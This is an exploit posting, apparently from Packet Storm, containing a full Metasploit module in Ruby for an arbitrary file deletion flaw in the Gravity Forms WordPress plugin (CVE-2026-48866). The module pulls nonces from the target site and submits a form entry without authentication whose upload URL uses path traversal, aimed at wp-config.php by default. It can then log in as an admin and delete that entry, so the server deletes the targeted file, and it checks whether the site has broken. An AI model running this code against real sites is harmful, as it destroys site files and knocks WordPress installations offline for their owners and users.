Share
## https://sploitus.com/exploit?id=PACKETSTORM:223339
==================================================================================================================================
    | # Title     : Gravity Forms arbitrary file deletion via path traversal                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://gravityforms.com                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    :  This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin (โ‰ค 2.10.0.1) where file URLs stored in form entries are not properly validated. 
                      An attacker can inject a crafted entry containing path traversal sequences (../) to reference files outside the intended uploads directory.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HTTP::Wordpress
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Gravity Forms Arbitrary File Deletion via Path Traversal',
            'Description' => %q{
              This module exploits a path traversal vulnerability in Gravity Forms
              plugin for WordPress (versions <= 2.10.0.1). The plugin does not validate
              that file URLs stored in entries are within the uploads directory.
    
              An attacker can submit a form with a crafted gform_uploaded_files parameter
              containing path traversal sequences (../). When an admin later deletes
              the entry (or the file from the entry), the delete_physical_file()
              function resolves the traversal and deletes an arbitrary file from
              the server filesystem.
    
              This module can either:
              1. Inject the malicious entry (unauthenticated)
              2. Optionally trigger the deletion using admin credentials
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-48866'],
              ['URL', 'https://www.gravityforms.com/changelog/'],
              ['WPVDB', '12345'] 
            ],
            'DisclosureDate' => '2026-06-01',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            },
            'Actions' => [
              ['INJECT', { 'Description' => 'Only inject malicious entry' }],
              ['TRIGGER', { 'Description' => 'Inject and trigger deletion' }]
            ],
            'DefaultAction' => 'TRIGGER'
          )
        )
        register_options([
          OptInt.new('FORM_ID', [true, 'Gravity Forms form ID', 1]),
          OptInt.new('FIELD_ID', [true, 'File upload field ID', 1]),
          OptString.new('TARGET_FILE', [true, 'File to delete (relative to WP root)', 'wp-config.php']),
          OptInt.new('TRAVERSAL_DEPTH', [true, 'Path traversal depth', 3]),
          OptString.new('UPLOAD_URL', [false, 'Full upload URL root (auto-detected if omitted)']),
          OptString.new('WP_ADMIN_USER', [false, 'WordPress admin username (for TRIGGER action)']),
          OptString.new('WP_ADMIN_PASS', [false, 'WordPress admin password (for TRIGGER action)']),
          OptInt.new('DELAY_BEFORE_TRIGGER', [false, 'Seconds to wait before triggering deletion', 5])
        ])
        register_advanced_options([
          OptBool.new('VERIFY_FILE_DELETION', [true, 'Check if file was deleted', false])
        ])
      end
      def form_id
        datastore['FORM_ID']
      end
      def field_id
        datastore['FIELD_ID']
      end
      def target_file
        datastore['TARGET_FILE']
      end
      def traversal_depth
        datastore['TRAVERSAL_DEPTH']
      end
      def upload_url
        datastore['UPLOAD_URL']
      end
      def admin_user
        datastore['WP_ADMIN_USER']
      end
      def admin_pass
        datastore['WP_ADMIN_PASS']
      end
      def check
        print_status("Checking if Gravity Forms is installed...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'gravityforms.php')
        })
        unless res && res.code == 200
          print_error("Gravity Forms plugin not detected")
          return CheckCode::Safe
        end
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'readme.txt')
        })
        if res && res.code == 200
          version = res.body.scan(/Stable tag:\s*([0-9.]+)/i).flatten.first
          if version
            print_status("Gravity Forms version detected: #{version}")
            if version <= '2.10.0.1'
              return CheckCode::Appears
            else
              return CheckCode::Safe
            end
          end
        end
        CheckCode::Detected
      end
      def get_form_nonce
        print_status("Fetching form page to extract nonce...")
        form_paths = [
          '/',
          "/?gf_page=preview&id=#{form_id}",
          '/contact/',
          '/submit/',
          "/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id=#{form_id}"
        ]
        nonce = nil
        unique_id = generate_random_string(12)
        page_body = nil
    
        form_paths.each do |path|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(path)
            })
            if res && res.code == 200 && res.body.include?("gform_submit_#{form_id}")
              page_body = res.body
              break
            end
          rescue ::Rex::ConnectionError
            next
          end
        end
        unless page_body
          print_error("Could not access form page")
          return [nil, nil, nil]
        end
        nonce_patterns = [
          /gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']/,
          /name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']/,
          /"nonce":"([a-f0-9]+)"/,
          /gform_ajax_nonce=([a-f0-9]+)/
        ]
        nonce_patterns.each do |pattern|
          match = page_body.match(pattern)
          if match
            nonce = match[1]
            break
          end
        end
        unique_id_patterns = [
          /gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']/,
          /name=["\']gform_unique_id["\'][^>]*value=["\']([a-zA-Z0-9]+)["\']/
        ]
        unique_id_patterns.each do |pattern|
          match = page_body.match(pattern)
          if match
            unique_id = match[1]
            break
          end
        end
        print_good("Got nonce: #{nonce}") if nonce
        print_good("Got unique_id: #{unique_id}") if unique_id
        [nonce, unique_id, page_body]
      end
      def craft_payload
        traversal = '../' * traversal_depth
        if upload_url
          base_url = upload_url
        else
          base_url = "#{target_uri}/wp-content/uploads/gravity_forms"
        end
        malicious_url = "#{base_url.rstrip('/')}/#{traversal}#{target_file}"
        input_name = "input_#{field_id}"
    
        payload_hash = {
          input_name => [
            {
              'url' => malicious_url,
              'uploaded_filename' => 'legitimate.txt',
              'id' => "poc-#{Rex::Text.rand_text_alpha(8)}"
            }
          ]
        }
        [JSON.generate(payload_hash), malicious_url, input_name]
      end
      def submit_form
        print_status("Injecting path traversal payload...")
        nonce, unique_id, _ = get_form_nonce
        unless unique_id
          print_error("Could not extract gform_unique_id")
          return [false, nil]
        end
        payload_json, malicious_url, input_name = craft_payload
        print_good("Crafted malicious URL: #{malicious_url}")
        post_data = {
          "is_submit_#{form_id}" => '1',
          'gform_submit' => form_id.to_s,
          "gform_unique_id" => unique_id,
          'gform_uploaded_files' => payload_json,
          'gform_target_page_number_1' => '0',
          'gform_source_page_number_1' => '1',
          'gform_field_values' => '',
          'action' => 'gform_submit_form'
        }
    
        post_data["gform_ajax_nonce"] = nonce if nonce
        ajax_url = normalize_uri(wordpress_url_admin, 'admin-ajax.php')
        print_status("Submitting form #{form_id} to #{ajax_url}...")
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => ajax_url,
          'vars_post' => post_data,
          'headers' => {
            'X-Requested-With' => 'XMLHttpRequest',
            'Content-Type' => 'application/x-www-form-urlencoded'
          }
        })
        unless res
          print_error("No response from server")
          return [false, nil]
        end
        print_status("Response status: #{res.code}")
        entry_id = nil
        if res.code == 200
          entry_patterns = [
            /"entry_id"\s*:\s*"?(\d+)"?/,
            /entry_id=(\d+)/,
            /lid=(\d+)/
          ]
          entry_patterns.each do |pattern|
            match = res.body.match(pattern)
            if match
              entry_id = match[1]
              break
            end
          end
          if res.body.include?('gformRedirect') ||
             res.body.include?('confirmation') ||
             res.body.include?('thank')
            print_good("Form submitted successfully")
            print_good("Entry ID: #{entry_id}") if entry_id
            return [true, entry_id]
          elsif res.body.include?('validation_error')
            print_error("Form validation failed - form may require additional fields")
            print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
            return [false, nil]
          else
            print_warning("Unclear response - may not have created entry")
            print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
            return [false, nil]
          end
        else
          print_error("Submission failed with status #{res.code}")
          print_status("Attempting direct POST to form action...")
          direct_res = send_request_cgi({
            'method' => 'POST',
            'uri' => target_uri.path,
            'vars_post' => post_data.except('action')
          })
          if direct_res && direct_res.code == 200
            print_good("Direct POST successful")
            return [true, nil]
          end
          return [false, nil]
        end
      end
      def login_as_admin
        print_status("Attempting to login as admin...")
        login_data = {
          'log' => admin_user,
          'pwd' => admin_pass,
          'wp-submit' => 'Log In',
          'redirect_to' => normalize_uri(wordpress_url_admin),
          'testcookie' => '1'
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('wp-login.php'),
          'vars_post' => login_data,
          'keep_cookies' => true
        })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(wordpress_url_admin),
          'keep_cookies' => true
        })
        if res && (res.body.include?('dashboard') || res.code == 200)
          print_good("Logged in as #{admin_user}")
          return true
        else
          print_error("Login failed")
          return false
        end
      end
      def trigger_deletion(entry_id)
        print_status("Triggering entry deletion...")
        unless login_as_admin
          print_error("Cannot trigger deletion without admin access")
          return false
        end
        entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => entries_url,
          'keep_cookies' => true
        })
        unless res && res.code == 200
          print_error("Could not access entries page")
          return false
        end
        delete_nonce = nil
        nonce_patterns = [
          /page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)/,
          /_wpnonce=([a-f0-9]+).*?delete/,
          /name="_wpnonce"\s+value="([a-f0-9]+)"/
        ]
        nonce_patterns.each do |pattern|
          match = res.body.match(pattern)
          if match
            delete_nonce = match[1]
            break
          end
        end
        unless delete_nonce
          print_error("Could not extract delete nonce")
          return false
        end
        print_good("Got delete nonce: #{delete_nonce}")
        target_entry = entry_id || find_latest_entry
        unless target_entry
          print_error("No entry ID available to delete")
          return false
        end
        print_status("Deleting entry #{target_entry}...")
        delete_data = {
          'action' => 'delete',
          'entry[]' => target_entry.to_s,
          '_wpnonce' => delete_nonce
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => entries_url,
          'vars_post' => delete_data,
          'keep_cookies' => true
        })
        if res && res.code == 200
          print_good("Entry deleted - target file should now be deleted")
          return true
        else
          print_error("Delete request failed")
          return false
        end
      end
      def find_latest_entry
        rest_url = normalize_uri('wp-json', 'gf/v2', 'entries')
        rest_url << "?_sort_direction=DESC&paging[page_size]=1"
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => rest_url,
          'keep_cookies' => true
        })
        if res && res.code == 200
          begin
            json_data = JSON.parse(res.body)
            if json_data['entries'] && !json_data['entries'].empty?
              return json_data['entries'][0]['id']
            end
          rescue JSON::ParserError
          end
        end
        entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => entries_url,
          'keep_cookies' => true
        })
        if res && res.code == 200
          matches = res.body.scan(/entry_id=(\d+)/)
          return matches.flatten.first if matches.any?
        end
        nil
      end
      def verify_file_deletion
        print_status("Verifying target file status...")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => target_uri.path
        })
        if res
          if res.code == 500 || res.body =~ /error establishing a database connection/i
            print_good("Site appears to be having database issues - wp-config.php likely deleted!")
            return true
          elsif res.code == 200
            print_status("Site still responding normally")
            return false
          end
        end
        print_status("Could not definitively verify file deletion")
        nil
      end
      def generate_random_string(length)
        Rex::Text.rand_text_alphanumeric(length)
      end
      def run
        print_status("Starting CVE-2026-48866 exploitation")
        check_result = check
        if check_result == CheckCode::Safe
          print_error("Target does not appear vulnerable")
          return
        elsif check_result == CheckCode::Detected
          print_status("Gravity Forms detected but version unknown")
        else
          print_good("Target appears vulnerable")
        end
        print_status("Target file to delete: #{target_file}")
        print_status("Traversal depth: #{traversal_depth}")
    
        success, entry_id = submit_form
        unless success
          print_error("Failed to inject malicious entry")
          return
        end
        report_note(
          host: rhost,
          port: rport,
          type: 'gravity_forms_poisoned_entry',
          data: {
            form_id: form_id,
            field_id: field_id,
            target_file: target_file,
            entry_id: entry_id
          },
          update: :unique_data
        )
        if action.name == 'TRIGGER'
          if admin_user.nil? || admin_pass.nil?
            print_error("TRIGGER action requires WP_ADMIN_USER and WP_ADMIN_PASS options")
            return
          end
          print_status("Waiting #{datastore['DELAY_BEFORE_TRIGGER']} seconds before triggering...")
          Rex.sleep(datastore['DELAY_BEFORE_TRIGGER'])
          delete_success = trigger_deletion(entry_id)
          if delete_success && datastore['VERIFY_FILE_DELETION']
            verify_file_deletion
          end
          if delete_success
            print_good("Successfully triggered file deletion")
          else
            print_error("Failed to trigger deletion - admin may need to delete entry manually")
          end
        else
          print_good("Malicious entry injected successfully")
          print_status("To trigger deletion:")
          print_status("  1. An admin must delete the entry containing the poisoned URL")
          print_status("  2. Or run module with TRIGGER action and valid admin credentials")
          print_line
          print_status("Target file '#{target_file}' will be deleted when entry is removed")
        end
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================